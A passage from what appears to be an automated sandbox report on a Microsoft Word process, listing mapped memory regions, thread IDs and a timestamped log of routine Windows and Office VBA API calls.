Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\msconv97.dll") Region: id = 862 start_va = 0x7feddf10000 end_va = 0x7feddf4dfff entry_point = 0x7feddf10000 region_type = mapped_file name = "wpft532.cnv" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft532.cnv") Region: id = 863 start_va = 0x7feddf60000 end_va = 0x7feddf88fff entry_point = 0x7feddf60000 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\msconv97.dll") Region: id = 864 start_va = 0xe200000 end_va = 0xf1fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000e200000" filename = "" Region: id = 865 start_va = 0x6260000 end_va = 0x62dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006260000" filename = "" Region: id = 866 start_va = 0x7fedded0000 end_va = 0x7feddf24fff entry_point = 0x7fedded0000 region_type = mapped_file name = "wpft632.cnv" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft632.cnv") Region: id = 867 start_va = 0x7feddf30000 end_va = 0x7feddf58fff entry_point = 0x7feddf30000 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\msconv97.dll") Region: id = 868 start_va = 0xe200000 end_va = 0xf1fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000e200000" filename = "" Region: id = 869 start_va = 0x4b60000 end_va = 0x4b62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b60000" filename = "" Region: id = 870 start_va = 0xe200000 end_va = 0xf1fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000e200000" filename = "" Region: id = 871 start_va = 0x6260000 end_va = 0x62dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006260000" filename = "" Region: id = 872 start_va = 0x7feddf50000 end_va = 0x7feddf8dfff entry_point = 0x7feddf50000 region_type = mapped_file name = "wpft532.cnv" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft532.cnv") Region: id = 873 start_va = 0x7feddf20000 end_va = 0x7feddf48fff entry_point = 0x7feddf20000 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\msconv97.dll") Region: id = 874 start_va = 0xe200000 end_va = 0xf1fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000e200000" filename = "" Region: id = 875 start_va = 0x6260000 end_va = 0x62dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006260000" filename = "" Region: id = 876 start_va = 0x7feddf30000 end_va = 0x7feddf84fff entry_point = 0x7feddf30000 region_type = mapped_file name = "wpft632.cnv" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\wpft632.cnv") Region: id = 877 start_va = 0x7feddf00000 end_va = 0x7feddf28fff entry_point = 0x7feddf00000 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\msconv97.dll") Region: id = 878 start_va = 0xe200000 end_va = 0xf1fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000e200000" filename = "" Region: id = 879 start_va = 0x4b60000 end_va = 0x4b62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b60000" filename = "" Region: id = 880 start_va = 0xe200000 end_va = 0xf1fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000e200000" filename = "" Region: id = 881 start_va = 0x6260000 end_va = 0x62dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006260000" filename = "" Region: id = 882 start_va = 0xe200000 end_va = 0xf1fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000e200000" filename = "" Region: id = 883 start_va = 0xe200000 end_va = 0xf1fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000e200000" filename = "" Region: id = 884 start_va = 0x4b60000 end_va = 0x4b63fff entry_point = 0x4b60000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 885 start_va = 0x4b70000 end_va = 0x4b82fff entry_point = 0x0 region_type = private name = "private_0x0000000004b70000" filename = "" Region: id = 886 start_va = 0x4b90000 end_va = 0x4b90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b90000" filename = "" Region: id = 887 start_va = 0xe200000 end_va = 0xe68dfff entry_point = 0x0 region_type = private name = "private_0x000000000e200000" filename = "" Region: id = 888 start_va = 0x7fef82e0000 end_va = 0x7fef8313fff entry_point = 0x7fef82e0000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 889 start_va = 0x4b90000 end_va = 0x4b90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b90000" filename = "" Region: id = 890 start_va = 0xc230000 end_va = 0xc32ffff entry_point = 0x0 region_type = private name = "private_0x000000000c230000" filename = "" Region: id = 891 start_va = 0x4b90000 end_va = 0x4ba2fff entry_point = 0x0 region_type = private name = "private_0x0000000004b90000" filename = "" Region: id = 892 start_va = 0x4bb0000 end_va = 0x4bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004bb0000" filename = "" Region: id = 893 start_va = 0x4bb0000 end_va = 0x4bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004bb0000" filename = "" Region: id = 894 start_va = 0x4b70000 end_va = 0x4b86fff entry_point = 0x0 region_type = private name = "private_0x0000000004b70000" filename = "" Region: id = 895 start_va = 0x4b90000 end_va = 0x4b90fff entry_point = 0x0 region_type = private name = "private_0x0000000004b90000" filename = "" Region: id = 896 start_va = 0x4ba0000 end_va = 0x4ba0fff entry_point = 0x0 region_type = private name = "private_0x0000000004ba0000" filename = "" Region: id = 897 start_va = 0x7feddf60000 end_va = 0x7feddf82fff entry_point = 0x7feddf60000 region_type = mapped_file name = "officevoicemanager.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\officevoicemanager.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\officevoicemanager.dll") Region: id = 898 start_va = 0xe200000 end_va = 0xe6aefff entry_point = 0x0 region_type = private name = "private_0x000000000e200000" filename = "" Region: id = 899 start_va = 0xc600000 end_va = 0xc9b1fff entry_point = 0x0 region_type = private name = "private_0x000000000c600000" filename = "" Region: id = 900 start_va = 0x4b70000 end_va = 0x4b72fff entry_point = 0x0 region_type = private name = "private_0x0000000004b70000" filename = "" Region: id = 901 start_va = 0x4b80000 end_va = 0x4b81fff entry_point = 0x0 region_type = private name = "private_0x0000000004b80000" filename = "" Region: id = 902 start_va = 0x4bb0000 end_va = 0x4bb0fff entry_point = 0x0 region_type = private name = "private_0x0000000004bb0000" filename = "" Region: id = 903 start_va = 0x4cc0000 end_va = 0x4cc1fff entry_point = 0x0 region_type = private name = "private_0x0000000004cc0000" filename = "" Region: id = 904 start_va = 0x6700000 end_va = 0x67cbfff entry_point = 0x6700000 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 905 start_va = 0x4cd0000 end_va = 0x4cd1fff entry_point = 0x0 region_type = private name = "private_0x0000000004cd0000" filename = "" Region: id = 906 start_va = 0x4ce0000 end_va = 0x4ce1fff entry_point = 0x0 region_type = private name = "private_0x0000000004ce0000" filename = "" Region: id = 907 start_va = 0x4d70000 end_va = 0x4d71fff entry_point = 0x0 region_type = private name = "private_0x0000000004d70000" filename = "" Region: id = 908 start_va = 0x4d80000 end_va = 0x4d81fff entry_point = 0x0 region_type = private name = "private_0x0000000004d80000" filename = "" Region: id = 909 start_va = 0x68e0000 end_va = 0x6999fff entry_point = 0x68e0000 region_type = mapped_file name = "calibril.ttf" filename = "\\Windows\\Fonts\\CalibriL.ttf" (normalized: "c:\\windows\\fonts\\calibril.ttf") Region: id = 910 start_va = 0x5700000 end_va = 0x5701fff entry_point = 0x0 region_type = private name = "private_0x0000000005700000" filename = "" Region: id = 911 start_va = 0x5810000 end_va = 0x5811fff entry_point = 0x0 region_type = private name = "private_0x0000000005810000" filename = "" Region: id = 912 start_va = 0x5820000 end_va = 0x5821fff entry_point = 0x0 region_type = private name = "private_0x0000000005820000" filename = "" Region: id = 913 start_va = 0x6260000 end_va = 0x6261fff entry_point = 0x0 region_type = private name = "private_0x0000000006260000" filename = "" Region: id = 914 start_va = 0x6270000 end_va = 0x6271fff entry_point = 0x0 region_type = private name = "private_0x0000000006270000" filename = "" Region: id = 915 start_va = 0x6280000 end_va = 0x6281fff entry_point = 0x0 region_type = private name = "private_0x0000000006280000" filename = "" Region: id = 916 start_va = 0x6290000 end_va = 0x6290fff entry_point = 0x0 region_type = private name = "private_0x0000000006290000" filename = "" Region: id = 917 start_va = 0x62a0000 end_va = 0x62a1fff entry_point = 0x0 region_type = private name = "private_0x00000000062a0000" filename = "" Region: id = 918 start_va = 0x62b0000 end_va = 0x62b1fff entry_point = 0x0 region_type = private name = "private_0x00000000062b0000" filename = "" Region: id = 919 start_va = 0xe200000 end_va = 0xe2d0fff entry_point = 0xe200000 region_type = mapped_file name = "calibrii.ttf" filename = "\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf") Region: id = 920 start_va = 0x62d0000 end_va = 0x62d1fff entry_point = 0x0 region_type = private name = "private_0x00000000062d0000" filename = "" Region: id = 921 start_va = 0x67d0000 end_va = 0x67d1fff entry_point = 0x0 region_type = private name = "private_0x00000000067d0000" filename = "" Region: id = 922 start_va = 0x6ab0000 end_va = 0x6ab1fff entry_point = 0x0 region_type = private name = "private_0x0000000006ab0000" filename = "" Region: id = 923 start_va = 0xe2e0000 end_va = 0xe58ffff entry_point = 0x0 region_type = private name = "private_0x000000000e2e0000" filename = "" Region: id = 924 start_va = 0xe590000 end_va = 0xe83ffff entry_point = 0x0 region_type = private name = "private_0x000000000e590000" filename = "" Region: id = 925 start_va = 0x7fefcbb0000 end_va = 0x7fefcc06fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 928 start_va = 0x4b80000 end_va = 0x4b81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b80000" filename = "" Region: id = 929 start_va = 0x4bb0000 end_va = 0x4bb1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004bb0000" filename = "" Region: id = 930 start_va = 0xe360000 end_va = 0xe45ffff entry_point = 0x0 region_type = private name = "private_0x000000000e360000" filename = "" Region: id = 931 start_va = 0x7fefc8b0000 end_va = 0x7fefc8cafff entry_point = 0x7fefc8b0000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 932 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 1236 start_va = 0xe460000 end_va = 0xe55ffff entry_point = 0x0 region_type = private name = "private_0x000000000e460000" filename = "" Region: id = 1237 start_va = 0x7fede1c0000 end_va = 0x7fede2defff entry_point = 0x7fede1c0000 region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll") Region: id = 1373 start_va = 0xed60000 end_va = 0xef70fff entry_point = 0x0 region_type = private name = "private_0x000000000ed60000" filename = "" Region: id = 1374 start_va = 0x7fee34a0000 end_va = 0x7fee34f5fff entry_point = 0x7fee34a0000 region_type = mapped_file name = "msproof7.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msproof7.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msproof7.dll") Region: id = 1529 start_va = 0x7fee3390000 end_va = 0x7fee3497fff entry_point = 0x7fee3390000 region_type = mapped_file name = "msgr8en.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\MSGR8EN.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\1033\\msgr8en.dll") Region: id = 1727 start_va = 0x38f0000 end_va = 0x38f0fff entry_point = 0x38f0000 region_type = mapped_file name = "msgr8en.dub" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msgr8en.dub" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msgr8en.dub") Region: id = 1728 start_va = 0x3900000 end_va = 0x39b6fff entry_point = 0x3900000 region_type = mapped_file name = "arialbd.ttf" filename = "\\Windows\\Fonts\\arialbd.ttf" (normalized: "c:\\windows\\fonts\\arialbd.ttf") Region: id = 1729 start_va = 0xe560000 end_va = 0xf0a9fff entry_point = 0xe560000 region_type = mapped_file name = "msgr8en.lex" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSGR8EN.LEX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msgr8en.lex") Region: id = 1730 start_va = 0x7fee2e70000 end_va = 0x7fee2f21fff entry_point = 0x7fee2e70000 region_type = mapped_file name = "mxdwdrv.dll" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\mxdwdrv.dll" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\mxdwdrv.dll") Region: id = 1731 start_va = 0xf0b0000 end_va = 0xf4affff entry_point = 0x0 region_type = private name = "private_0x000000000f0b0000" filename = "" Region: id = 1732 start_va = 0x7fee2e50000 end_va = 0x7fee2e6bfff entry_point = 0x7fee2e50000 region_type = mapped_file name = "fontsub.dll" filename = "\\Windows\\System32\\fontsub.dll" (normalized: "c:\\windows\\system32\\fontsub.dll") Thread: id = 1 os_tid = 0x9b0 Thread: id = 2 os_tid = 0x9ac Thread: id = 3 os_tid = 0x9a8 Thread: id = 4 os_tid = 0x99c Thread: id = 5 os_tid = 0x994 Thread: id = 6 os_tid = 0x980 Thread: id = 7 os_tid = 0x97c Thread: id = 8 os_tid = 0x978 Thread: id = 9 os_tid = 0x974 Thread: id = 10 os_tid = 0x970 Thread: id = 11 os_tid = 0x96c Thread: id = 12 os_tid = 0x968 Thread: id = 13 os_tid = 0x964 Thread: id = 14 os_tid = 0x960 Thread: id = 15 os_tid = 0x95c Thread: id = 16 os_tid = 0x958 Thread: id = 17 os_tid = 0x938 Thread: id = 18 os_tid = 0x934 Thread: id = 19 os_tid = 0x92c Thread: id = 20 os_tid = 0x928 Thread: id = 21 os_tid = 0x924 [0034.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2604b0 | out: lpSystemTimeAsFileTime=0x2604b0*(dwLowDateTime=0xb3fceb40, dwHighDateTime=0x1d4c1ea)) [0034.946] GetCurrentProcessId () returned 0x920 [0034.946] GetCurrentThreadId () returned 0x924 [0034.946] GetTickCount () returned 0x18cd3 [0034.946] QueryPerformanceCounter (in: lpPerformanceCount=0x2604b8 | out: lpPerformanceCount=0x2604b8*=1811204400000) returned 1 [0034.948] __dllonexit () returned 0xc91a800001ff9c [0034.948] __dllonexit () returned 0xc203800001ff9c [0034.950] __dllonexit () returned 0xc2c8800001ff9c [0034.951] __dllonexit () returned 0xc53f800001ff9c [0034.952] __dllonexit () returned 0xc2de800001ff9c [0034.952] __dllonexit () returned 0xc2e6800001ff9c [0034.952] __dllonexit () returned 0xc2ee800001ff9c [0034.953] __dllonexit () returned 0xc2f6800001ff9c [0034.953] __dllonexit () returned 0xc2fe800001ff9c [0034.953] __dllonexit () returned 0xc286800001ff9c [0034.954] __dllonexit () returned 0xc28e800001ff9c [0034.954] __dllonexit () returned 0xc296800001ff9c [0034.954] __dllonexit () returned 0xc29e800001ff9c [0034.955] __dllonexit () returned 0xc2a6800001ff9c [0034.955] __dllonexit () returned 0xc2ae800001ff9c [0034.955] __dllonexit () returned 0xc2b6800001ff9c [0034.956] __dllonexit () returned 0xc2be800001ff9c [0034.956] __dllonexit () returned 0xc1b2800001ff9c [0034.957] __dllonexit () returned 0xc92e800001ff9c [0034.957] __dllonexit () returned 0xc932800001ff9c [0034.958] __dllonexit () returned 0xc93a800001ff9c [0034.958] __dllonexit () returned 0xc6ce800001ff9c [0034.958] __dllonexit () returned 0xc6d2800001ff9c [0034.959] __dllonexit () returned 0xc6dd800001ff9c [0034.960] DisableThreadLibraryCalls (hLibModule=0x7fee3ce0000) returned 1 [0034.960] GetVersion () returned 0x1db10106 [0034.960] lstrcmpiW (lpString1="A", lpString2="B") returned -1 [0034.960] GetUserDefaultLCID () returned 0x409 [0034.960] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1 [0034.960] GetSystemMetrics (nIndex=5) returned 1 [0034.960] GetSystemMetrics (nIndex=6) returned 1 [0034.960] GetSystemMetrics (nIndex=11) returned 32 [0034.960] GetSystemMetrics (nIndex=12) returned 32 [0034.960] GetSystemMetrics (nIndex=34) returned 132 [0034.960] GetSystemMetrics (nIndex=35) returned 38 [0034.960] GetSystemMetrics (nIndex=0) returned 1440 [0034.960] GetSystemMetrics (nIndex=1) returned 900 [0034.960] GetSystemMetrics (nIndex=32) returned 4 [0034.960] GetSystemMetrics (nIndex=33) returned 4 [0034.960] GetSystemMetrics (nIndex=4) returned 22 [0034.960] GetSystemMetrics (nIndex=42) returned 0 [0034.960] GetStockObject (i=15) returned 0x188000b [0034.960] GetStockObject (i=7) returned 0x1b00017 [0034.960] GetStockObject (i=6) returned 0x1b00018 [0034.960] GetStockObject (i=8) returned 0x1b00016 [0034.960] GetStockObject (i=4) returned 0x1900011 [0034.960] GetStockObject (i=2) returned 0x1900012 [0034.960] GetStockObject (i=0) returned 0x1900010 [0034.960] GetStockObject (i=5) returned 0x1900015 [0034.960] GetStockObject (i=13) returned 0x18a002e [0034.960] GetDC (hWnd=0x0) returned 0x20108c2 [0034.960] GetDeviceCaps (hdc=0x20108c2, index=14) returned 1 [0034.960] GetDeviceCaps (hdc=0x20108c2, index=12) returned 32 [0034.960] GetDeviceCaps (hdc=0x20108c2, index=88) returned 96 [0034.960] GetDeviceCaps (hdc=0x20108c2, index=90) returned 96 [0034.960] GetDeviceCaps (hdc=0x20108c2, index=38) returned 32409 [0034.960] ReleaseDC (hWnd=0x0, hDC=0x20108c2) returned 1 [0034.960] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x7fee40bba60 | out: ppMalloc=0x7fee40bba60*=0x7feff045380) returned 0x0 [0036.030] GetModuleHandleA (lpModuleName=0x0) returned 0x13fc00000 [0036.031] QueryActCtxW (in: dwFlags=0x80000010, hActCtx=0x7fee40ba048, pvSubInstance=0x0, ulInfoClass=0x1, pvBuffer=0x2671a0, cbBuffer=0x10, pcbWrittenOrRequired=0x0 | out: pvBuffer=0x2671a0, pcbWrittenOrRequired=0x0) returned 1 [0036.031] ActivateActCtx (in: hActCtx=0x3f0ce78, lpCookie=0x267190 | out: hActCtx=0x3f0ce78, lpCookie=0x267190) returned 1 [0036.031] FindActCtxSectionStringW (in: dwFlags=0x0, lpExtensionGuid=0x0, ulSectionId=0x2, lpStringToFind="Comctl32.dll", ReturnedData=0x2671b0 | out: ReturnedData=0x2671b0) returned 1 [0036.031] LoadLibraryW (lpLibFileName="Comctl32.dll") returned 0x7fefc030000 [0036.032] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10016d71000001a7) returned 1 [0036.032] RegisterClassA (lpWndClass=0x2674e0) returned 0x2852001dc198 [0036.032] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10016d71000001a8) returned 1 [0036.033] wcscpy_s (in: _Destination=0x4049300, _SizeInWords=0x7, _Source="Common" | out: _Destination="Common") returned 0x0 [0036.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word Documents (*.docm;*.dotm;*.doc;*.dot)", cchWideChar=70, lpMultiByteStr=0xae62540, cbMultiByte=140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word Documents (*.docm;*.dotm;*.doc;*.dot)", lpUsedDefaultChar=0x0) returned 70 [0036.035] GetModuleHandleExA (in: dwFlags=0x0, lpModuleName="MSI.DLL", phModule=0x7fee40c1418 | out: phModule=0x7fee40c1418*=0x7fef9a00000) returned 1 [0036.035] GetProcAddress (hModule=0x7fef9a00000, lpProcName="MsiProvideQualifiedComponentA") returned 0x7fef9a83b3c [0036.036] GetProcAddress (hModule=0x7fef9a00000, lpProcName="MsiGetProductCodeA") returned 0x7fef9a7a13c [0036.036] GetProcAddress (hModule=0x7fef9a00000, lpProcName="MsiReinstallFeatureA") returned 0x7fef9a81618 [0036.036] GetProcAddress (hModule=0x7fef9a00000, lpProcName="MsiProvideComponentA") returned 0x7fef9a7f088 [0036.045] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0036.045] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0036.045] lstrcpyW (in: lpString1=0x267260, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" [0036.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", cchWideChar=-1, lpMultiByteStr=0x267150, cbMultiByte=135, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", lpUsedDefaultChar=0x0) returned 68 [0036.045] GetModuleHandleA (lpModuleName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x0 [0036.493] LoadLibraryExA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", hFile=0x0, dwFlags=0x8) returned 0x7fee3500000 [0036.538] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10016d71000001a9) returned 1 [0036.538] GetLastError () returned 0x0 [0036.538] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoVBADigSigCallDlg") returned 0x7fee36072c0 [0036.539] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoVbaInitSecurity") returned 0x7fee35760b0 [0036.539] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFIEPolicyAndVersion") returned 0x7fee3521a60 [0036.539] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFAnsiCodePageSupportsLCID") returned 0x7fee3575f50 [0036.540] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFInitOffice") returned 0x7fee351f000 [0036.540] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoUninitOffice") returned 0x7fee350e860 [0036.540] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFGetFontSettings") returned 0x7fee3503fc0 [0036.540] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoRgchToRgwch") returned 0x7fee3512380 [0036.541] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoHrSimpleQueryInterface") returned 0x7fee3507b80 [0036.541] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoHrSimpleQueryInterface2") returned 0x7fee3507b20 [0036.541] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFCreateControl") returned 0x7fee3508730 [0036.542] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFLongLoad") returned 0x7fee3643260 [0036.542] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFLongSave") returned 0x7fee3643280 [0036.542] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFGetTooltips") returned 0x7fee3511f40 [0036.542] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFSetTooltips") returned 0x7fee3576370 [0036.543] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFLoadToolbarSet") returned 0x7fee3564590 [0036.543] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFCreateToolbarSet") returned 0x7fee35055b0 [0036.543] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoHpalOffice") returned 0x7fee3510240 [0036.543] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFWndProcNeeded") returned 0x7fee3503d10 [0036.544] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFWndProc") returned 0x7fee3506d30 [0036.544] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFCreateITFCHwnd") returned 0x7fee3503d40 [0036.544] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoDestroyITFC") returned 0x7fee350e6f0 [0036.544] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFPitbsFromHwndAndMsg") returned 0x7fee350df40 [0036.545] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFGetComponentManager") returned 0x7fee3507bf0 [0036.545] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoMultiByteToWideChar") returned 0x7fee350fcd0 [0036.545] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoWideCharToMultiByte") returned 0x7fee3508b20 [0036.546] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoHrRegisterAll") returned 0x7fee3602ef0 [0036.546] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFSetComponentManager") returned 0x7fee35142c0 [0036.546] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFCreateStdComponentManager") returned 0x7fee3503e20 [0036.546] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFHandledMessageNeeded") returned 0x7fee350ab10 [0036.547] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoPeekMessage") returned 0x7fee350a7d0 [0036.547] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFCreateIPref") returned 0x7fee3501550 [0036.547] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoDestroyIPref") returned 0x7fee350e830 [0036.547] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoChsFromLid") returned 0x7fee35013d0 [0036.548] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoCpgFromChs") returned 0x7fee3506660 [0036.548] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoSetLocale") returned 0x7fee3501500 [0036.548] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoFSetHMsoinstOfSdm") returned 0x7fee3503dd0 [0036.548] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoSetVbaInterfaces") returned 0x7fee36071e0 [0036.549] GetProcAddress (hModule=0x7fee3500000, lpProcName="MsoGetControlInstanceId") returned 0x7fee35d6d10 [0036.549] GetProcAddress (hModule=0x7fee3500000, lpProcName="VbeuiFIsEdpEnabled") returned 0x7fee36498e0 [0036.549] GetProcAddress (hModule=0x7fee3500000, lpProcName="VbeuiEnterpriseProtect") returned 0x7fee3649830 [0036.551] GetEnvironmentVariableA (in: lpName="DDRYBUR", lpBuffer=0x267240, nSize=0x118 | out: lpBuffer="\xaf\x01") returned 0x0 [0036.551] SetErrorMode (uMode=0x8001) returned 0x8001 [0036.551] GetModuleFileNameA (in: hModule=0x7fee3ce0000, lpFilename=0x266f50, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0036.551] lstrcpyA (in: lpString1=0x266e40, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common 